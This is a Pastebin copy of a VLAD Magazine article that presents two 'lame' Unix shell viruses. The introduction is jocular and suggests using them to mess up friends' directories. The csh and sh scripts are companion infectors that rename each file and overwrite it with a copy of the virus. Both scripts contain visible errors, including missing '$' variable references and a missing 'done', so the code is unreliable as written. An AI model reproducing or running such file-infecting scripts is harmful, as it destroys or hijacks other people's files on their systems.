FlyFar

VLAD Magazine - Issue #4- ARTICLE.3_7 - Lame UNIX Viruses

Jul 4th, 2023
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.76 KB | Cybersecurity | 0 0
  1.  Lame Unix Viruses
  2.   +---------------+
  3.  
  4.   Well, you might have read the title of this article and thought, well
  5.   if the damn thing is lame.. why the fuck is it in vlad#4 ?!  This can
  6.   be answered quite simply, we had one free space! :)  It was a bit of
  7.   a dilemma to begin with, we had four articles and one space.  The problem
  8.   was they were all kinda lame.  So it was a lame pick-of-the-month episode.
  9.  
  10.   Out of the four articles, this was the least lame.  Well actually
  11.   I don't know about that, but anyway, it was the most different one we
  12.  had sitting there.  Just to prove the title, the author of these
  13.  masterpieces asked to remain anonymous to save his reputation.
  14.  
  15.  These "viruses" are the equivalent of a DOS batch file infector because
  16.  they are written in shell language.  They function similarly to companion
  17.  infectors by renaming the original file and replacing it with themselves.
  18.  Disinfection is simple by 'mv'ing (moving) the original files back.
  19.  
  20.  Anyway, perhaps someone is interested so here they are.  There isn't
  21.   much use for them except to annoy your friends when it messes up all
  22.   the files in their directory.
  23.  
  24. +-----------------------------------+
  25. #!/bin/sh
  26. # Dumb Unix Virus
  27. # I don't wanna write another dumb unix virus qark, I wont
  28. # Due to excess lameness, don't distribute
  29. #
  30. for files in *
  31. do
  32.  if [ -x files ]  
  33.  then
  34.      if [ ! -d files ]
  35.      then
  36.        mv files files.EVILVIRUS.HELPME
  37.        cp $0 files
  38.        chmod +x files
  39.        files.EVILVIRUS.HELPME
  40.      fi
  41.    fi
  42.  
  43. +-----------------------------------+
  44.  
  45. cat << _EOF >unix.virus
  46.  
  47.  
  48. #!/bin/csh
  49. # Dumber Unix Virus
  50. #  by
  51. #     SumUtherGuy
  52. foreach i (*)
  53. mv $i bak.$i
  54. cp $0 $i  
  55. i >> $i
  56.  
  57. end
  58. _EOF
  59.  
  60. +-----------------------------------+
  61.  
Tags: virus unix lame
Add Comment
Please, Sign In to add comment